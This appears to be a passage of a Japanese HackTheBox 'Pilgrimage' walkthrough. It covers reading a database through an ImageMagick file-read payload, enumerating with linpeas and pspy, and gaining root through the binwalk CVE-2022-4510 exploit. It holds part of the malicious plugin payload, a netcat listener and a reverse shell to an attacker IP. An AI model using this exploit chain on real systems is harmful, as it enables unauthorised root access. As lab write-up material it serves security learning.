昨今のHTBではNginxが使われていれば`/etc/nginx/nginx.conf`あたりを取得しにいくと思うが、何もない。。。
そう、それ以外の主要なディレクトリでProfileが帰ってこないのである。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a81b74df-8dd5-842e-f088-eaa87e8a9104.png)
本来ならばこの`png:`と`signature`の間に`raw`の項目が来るはずだが....
ではgitdumpで取得したコードから実際に記載されている階層を取得してみる。

...

取得できたのは以下の`dashboard.php`に記載されていた`/var/db/pilgrimage`だった。
```php:dashboard.php
<?php
session_start();
if(!isset($_SESSION['user'])) {
  header("Location: /login.php");
  exit(0);
}

function returnUsername() {
  return "\"" . $_SESSION['user'] . "\"";
}

function fetchImages() {
  $username = $_SESSION['user'];
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM images WHERE username = ?");
  $stmt->execute(array($username));
  $allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC);
  return json_encode($allImages);
}

?>
<!DOCTYPE html>
<html lang="en">

  <head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;200;300;400;500;600;700;800;900&display=swap" rel="stylesheet">

    <title>Pilgrimage - Shrink Your Images</title>

    <!-- Bootstrap core CSS -->
    <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- Additional CSS Files -->
    <link rel="stylesheet" href="assets/css/fontawesome.css">
    <link rel="stylesheet" href="assets/css/templatemo-woox-travel.css">
    <link rel="stylesheet" href="assets/css/owl.css">
    <link rel="stylesheet" href="assets/css/animate.css">
    <link rel="stylesheet" href="https://unpkg.com/swiper@7/swiper-bundle.min.css"/>
    <link rel="stylesheet" href="assets/css/custom.css">
<!--

TemplateMo 580 Woox Travel

https://templatemo.com/tm-580-woox-travel

-->

...省略
```
まずは`/etc/passwd`と同様にペイロ―ドを注入
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/28b539c4-1efe-dd82-0cff-256ad43d7420.png)
ImageMagickでコンバート下画像を読み解く。
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c6e41abc-9e28-5a7d-229e-b2919846551c.png)
で、、、デカすぎ！？

このファイルはsqliteのdbとして利用されていたので、Pythonでhexからutf-8に直でデコードすると文字化けが酷そう。
そこら辺うまく処理してくれそうな以下サイトを利用して一気にデコードする。

https://gchq.github.io/CyberChef/

![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/20fb2fa6-af2a-1545-8d7f-db1dec27157b.png)
むむ？？見つけてしまった。ハッシュ化せずに直で投入してるなんて....
利用してくれと言っているようなものなので、利用させていただく。
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1d6abe54-7b47-1d95-cd26-71bd1fa09ec5.png)
Userゲット！！！

# Privilege Escalation
## 調査
### sudo -l
とりあえず`sudo -l`で特権で使えそうなファイルやコマンドを探してみる。
```bash
emily@pilgrimage:~$ sudo -l
[sudo] password for emily: 
Sorry, user emily may not run sudo on pilgrimage.
emily@pilgrimage:~$ 
```
ないっすね。
### linpeas
ということでlinpeas使います。Linemunよりこっち派。
以下のサイトからlinpeas.shをダウンロードしてくる。

https://github.com/carlospolop/PEASS-ng/releases

```bash
┌──(root㉿kali)-[~/work]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/download/20230312/linpeas.sh
```
実行。
```bash
emily@pilgrimage:~$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                     
    |         Follow on Twitter         :     @hacktricks_live                          |                                                                   
    |         Respect on HTB            :     SirBroccoli                             |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |                                 Thank you!                                      |                                                                     
    \---------------------------------------------------------------------------------/                                                                     
          linpeas-ng by carlospolop                                                                                                                         
                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.     '                         
                                                                                                                                                            
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

...省略

                ╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════                                                                          
                ╚════════════════════════════════════════════════╝                                                                                          
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes                                 
root           1  0.0  0.2 163808 10096 ?        Ss   19:29   0:01 /sbin/init                                                                               
root         499  0.0  0.3  50372 13196 ?        Ss   19:30   0:00 /lib/systemd/systemd-journald
root         521  0.0  0.1  21848  5528 ?        Ss   19:30   0:00 /lib/systemd/systemd-udevd
systemd+     564  0.0  0.1  88436  6008 ?        Ssl  19:30   0:00 /lib/systemd/systemd-timesyncd
  └─(Caps) 0x0000000002000000=cap_sys_time
root         565  0.0  0.2  47748 10580 ?        Ss   19:30   0:00 /usr/bin/VGAuthService
root         566  0.0  0.1 236744  7692 ?        Ssl  19:30   0:14 /usr/bin/vmtoolsd
root         581  0.0  0.0  87060  2172 ?        S<sl 19:30   0:00 /sbin/auditd
_laurel      590  0.0  0.1   9836  5788 ?        S<   19:30   0:00  _ /usr/local/sbin/laurel --config /etc/laurel/config.toml
  └─(Caps) 0x0000000000080004=cap_dac_read_search,cap_sys_ptrace
root         696  0.0  0.1  99884  5924 ?        Ssl  19:30   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         709  0.0  0.0   6744  2848 ?        Ss   19:30   0:00 /usr/sbin/cron -f
message+     711  0.0  0.1   8260  4020 ?        Ss   19:30   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  └─(Caps) 0x0000000020000000=cap_audit_write
root         717  0.0  0.0   6816  3016 ?        Ss   19:30   0:00 /bin/bash /usr/sbin/malwarescan.sh
root         738  0.0  0.0   2516   712 ?        S    19:30   0:00  _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root         739  0.0  0.0   6816  2392 ?        S    19:30   0:00  _ /bin/bash /usr/sbin/malwarescan.sh
root         719  0.0  0.6 209752 27224 ?        Ss   19:30   0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
www-data    1243  0.0  0.5 212176 20148 ?        S    20:47   0:02  _ php-fpm: pool www
www-data    1244  0.0  0.4 210128 18220 ?        S    20:47   0:01  _ php-fpm: pool www
www-data    1254  0.0  0.4 210128 16716 ?        S    20:47   0:00  _ php-fpm: pool www
root         722  0.0  0.1 220796  4940 ?        Ssl  19:30   0:00 /usr/sbin/rsyslogd -n -iNONE
root         732  0.0  0.1  13852  7020 ?        Ss   19:30   0:00 /lib/systemd/systemd-logind
root         750  0.0  0.0   5844  1736 tty1     Ss+  19:30   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
emily       2029  0.0  0.1  14720  6032 ?        S    23:40   0:00      _ sshd: emily@pts/0
emily       2030  0.0  0.1   8672  5400 pts/0    Ss   23:40   0:00          _ -bash
emily       2058  0.1  0.0   3476  2576 pts/0    S+   23:47   0:00              _ /bin/sh ./linpeas.sh
emily       5150  0.0  0.0   3476  1088 pts/0    S+   23:48   0:00                  _ /bin/sh ./linpeas.sh
emily       5152  0.0  0.0  10088  3688 pts/0    R+   23:48   0:00                  |   _ ps fauxwww
emily       5154  0.0  0.0   3476  1088 pts/0    S+   23:48   0:00                  _ /bin/sh ./linpeas.sh
root         821  0.0  0.0  56376  1652 ?        Ss   19:30   0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data     822  0.0  0.1  57616  6648 ?        S    19:30   0:14  _ nginx: worker process
www-data     823  0.0  0.1  57404  6568 ?        S    19:30   0:11  _ nginx: worker process
emily       2011  0.0  0.2  15168  8416 ?        Ss   23:40   0:00 /lib/systemd/systemd --user
emily       2012  0.0  0.0 166764  2560 ?        S    23:40   0:00  _ (sd-pam)

...省略
```
ほう？何かこのWebシステムの中で`malwarescan.sh`が回っておるな。
```bash
root         717  0.0  0.0   6816  3016 ?        Ss   19:30   0:00 /bin/bash /usr/sbin/malwarescan.sh
root         738  0.0  0.0   2516   712 ?        S    19:30   0:00  _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root         739  0.0  0.0   6816  2392 ?        S    19:30   0:00  _ /bin/bash /usr/sbin/malwarescan.sh
```
このファイルを調べてみる。
```bash
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done
emily@pilgrimage:~$ 
```
`/var/www/pilgrimage.htb/shrunk/`階層の変更を`inotifywait`で監視してCreateされたファイル（変更ではないことに注意）を`binwalk`でスキャンしとるな。
それでblacklistにあるファイルであればMalwareとして削除を行うと...
この階層は確かImageMagickでコンバートしたファイルを格納する階層だったと思うので画像アップを行い、プロセスが回るか確認してみる。

### pspy
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

https://github.com/DominicBreuker/pspy

```bash
┌──(root㉿kali)-[~/work]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64  
```
実行する。
```bash
emily@pilgrimage:~$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/25 23:49:57 CMD: UID=1000  PID=15217  | ./pspy64 
2023/06/25 23:49:57 CMD: UID=1000  PID=15214  | -bash 
2023/06/25 23:49:57 CMD: UID=1000  PID=15213  | sshd: emily@pts/1    
2023/06/25 23:49:57 CMD: UID=0     PID=15207  | sshd: emily [priv]   
2023/06/25 23:49:57 CMD: UID=1000  PID=9007   | /usr/bin/gpg-agent --supervised 
2023/06/25 23:49:57 CMD: UID=0     PID=2151   | 
2023/06/25 23:49:57 CMD: UID=0     PID=2150   | 
2023/06/25 23:49:57 CMD: UID=1000  PID=2030   | -bash 
2023/06/25 23:49:57 CMD: UID=1000  PID=2029   | sshd: emily@pts/0    
2023/06/25 23:49:57 CMD: UID=1000  PID=2012   | (sd-pam) 
2023/06/25 23:49:57 CMD: UID=1000  PID=2011   | /lib/systemd/systemd --user 
2023/06/25 23:49:57 CMD: UID=0     PID=2008   | sshd: emily [priv]   
2023/06/25 23:49:57 CMD: UID=0     PID=2005   | 
2023/06/25 23:49:57 CMD: UID=0     PID=1958   | 
2023/06/25 23:49:57 CMD: UID=0     PID=1957   | 
2023/06/25 23:49:57 CMD: UID=0     PID=1934   | 
2023/06/25 23:49:57 CMD: UID=0     PID=1923   | 
2023/06/25 23:49:57 CMD: UID=0     PID=1784   | 
2023/06/25 23:49:57 CMD: UID=0     PID=1728   | 
2023/06/25 23:49:57 CMD: UID=33    PID=1254   | php-fpm: pool www                                                             
2023/06/25 23:49:57 CMD: UID=33    PID=1244   | php-fpm: pool www                                                             
2023/06/25 23:49:57 CMD: UID=33    PID=1243   | php-fpm: pool www                                                             
2023/06/25 23:49:57 CMD: UID=33    PID=823    | nginx: worker process                            
2023/06/25 23:49:57 CMD: UID=33    PID=822    | nginx: worker process                            
2023/06/25 23:49:57 CMD: UID=0     PID=821    | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 
2023/06/25 23:49:57 CMD: UID=0     PID=813    | 
2023/06/25 23:49:57 CMD: UID=0     PID=774    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/06/25 23:49:57 CMD: UID=0     PID=750    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/06/25 23:49:57 CMD: UID=0     PID=739    | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 23:49:57 CMD: UID=0     PID=738    | /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ 
2023/06/25 23:49:57 CMD: UID=0     PID=732    | /lib/systemd/systemd-logind 
2023/06/25 23:49:57 CMD: UID=0     PID=722    | /usr/sbin/rsyslogd -n -iNONE 
2023/06/25 23:49:57 CMD: UID=0     PID=719    | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)                       
2023/06/25 23:49:57 CMD: UID=0     PID=717    | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 23:49:57 CMD: UID=103   PID=711    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/06/25 23:49:57 CMD: UID=0     PID=709    | /usr/sbin/cron -f 
2023/06/25 23:49:57 CMD: UID=0     PID=696    | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0 
2023/06/25 23:49:57 CMD: UID=0     PID=617    | 
2023/06/25 23:49:57 CMD: UID=0     PID=599    | 
2023/06/25 23:49:57 CMD: UID=0     PID=598    | 
2023/06/25 23:49:57 CMD: UID=0     PID=597    | 
2023/06/25 23:49:57 CMD: UID=0     PID=596    | 
2023/06/25 23:49:57 CMD: UID=0     PID=595    | 
2023/06/25 23:49:57 CMD: UID=0     PID=594    | 
2023/06/25 23:49:57 CMD: UID=0     PID=593    | 
2023/06/25 23:49:57 CMD: UID=998   PID=590    | /usr/local/sbin/laurel --config /etc/laurel/config.toml 
2023/06/25 23:49:57 CMD: UID=0     PID=589    | 
2023/06/25 23:49:57 CMD: UID=0     PID=586    | 
2023/06/25 23:49:57 CMD: UID=0     PID=581    | /sbin/auditd 
2023/06/25 23:49:57 CMD: UID=0     PID=580    | 
2023/06/25 23:49:57 CMD: UID=0     PID=566    | /usr/bin/vmtoolsd 
2023/06/25 23:49:57 CMD: UID=0     PID=565    | /usr/bin/VGAuthService 
2023/06/25 23:49:57 CMD: UID=104   PID=564    | /lib/systemd/systemd-timesyncd 
2023/06/25 23:49:57 CMD: UID=0     PID=521    | /lib/systemd/systemd-udevd 
2023/06/25 23:49:57 CMD: UID=0     PID=499    | /lib/systemd/systemd-journald 
2023/06/25 23:49:57 CMD: UID=0     PID=465    | 
2023/06/25 23:49:57 CMD: UID=0     PID=464    | 
2023/06/25 23:49:57 CMD: UID=0     PID=251    | 
2023/06/25 23:49:57 CMD: UID=0     PID=250    | 
2023/06/25 23:49:57 CMD: UID=0     PID=221    | 
2023/06/25 23:49:57 CMD: UID=0     PID=220    | 

...省略
```
さて、まぁ回ってるのがすでに分かるのだが、実際に画像アップで回してみる。
```bash
2023/06/25 23:55:21 CMD: UID=33    PID=15240  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:21 CMD: UID=33    PID=15242  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:21 CMD: UID=33    PID=15243  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:21 CMD: UID=33    PID=15244  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:21 CMD: UID=33    PID=15245  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:21 CMD: UID=33    PID=15246  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:21 CMD: UID=33    PID=15247  | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png                                                                                    
2023/06/25 23:55:22 CMD: UID=0     PID=15249  | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 23:55:22 CMD: UID=0     PID=15252  | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 23:55:22 CMD: UID=0     PID=15251  | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 23:55:22 CMD: UID=0     PID=15250  | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 23:55:22 CMD: UID=0     PID=15253  | /usr/bin/python3 /usr/local/bin/binwalk -e /var/www/pilgrimage.htb/shrunk/64984749d15fa.png 
2023/06/25 23:55:22 CMD: UID=0     PID=15254  | fusermount -u -q -z -- /tmp/.mount_magickVrdY15 
```
回っとるわ。ImageMagickが回った後にスキャンを行う感じね。理解。
んじゃこのスクリプトで悪用できるとこがないか確認します。

## CVE-2022-4510
まぁ真っ先に思いつくのはファイルにPayloadを混ぜ込んでその画像を読む奴の脆弱性を突くこと。
`binwalk`が読んでるので此奴を悪用できないか調べてみる。
バージョンを確認する。
```bash
emily@pilgrimage:~$ /usr/local/bin/binwalk -h

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
```
このバージョンでExploitを検索すると以下ExploitDBでPoCが乗っているではないか

https://www.exploit-db.com/exploits/51249

Kaliでスクリプトを検索。
```bash
┌──(root㉿kali)-[~]
└─# searchsploit -c 51249
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                            |  Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Binwalk v2.3.2 - Remote Command Execution (RCE)                                                                           | python/remote/51249.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
RCEのExploitですね。
Exploitの内容を以下のように一旦Pingのコマンド実行に書き換えて実行してみる。

___※Webからではなくシェルから読み込ませよう。WebからだとImageMagickで変換されてしまう。___
```python:51249.py
bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
    lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n','    def init(self):\n','        if not os.path.exists("/tmp/.binwalk"):\n','            os.system("ping -c 3 10.10.14.155")\n','            with open("/tmp/.binwalk", "w") as f:\n','                f.write("1")\n','        else:\n','            os.remove("/tmp/.binwalk")\n', '            os.remove(os.path.abspath(__file__))\n','            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']
```
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6106cebc-8225-61b9-bb8d-00b63545f65b.png)
Pingの応答が帰ってきたのでRCE出来そうである。
じゃぁレッツ本番！

リバースシェル確立のために受け側を用意しておく。
```bash
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444           
listening on [any] 4444 ...
```
Exploitコードの引数の順番に情報を投入。Pythonの`argparse`パッケージを使ってるので`-h`で確認できます。
```bash
emily@pilgrimage:/tmp$ python3 51249.py /var/www/pilgrimage.htb/shrunk/6498585e31266.png 10.10.14.155 4444

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.

emily@pilgrimage:/tmp$ cp ./binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
emily@pilgrimage:/tmp$ 
```
![22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/03414463-a342-5043-85b7-910ea5322c07.png)
Rootゲット！！！

# まとめ
![23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e265a9d8-1cd7-0f84-beaa-afb39119e8ea.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは最近横行していたEasyといいつつ難しすぎるBoxではなく、既存のExploitを順当に利用する正統派のEasyだった気がします。
お勧めのEasyBoxですね。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。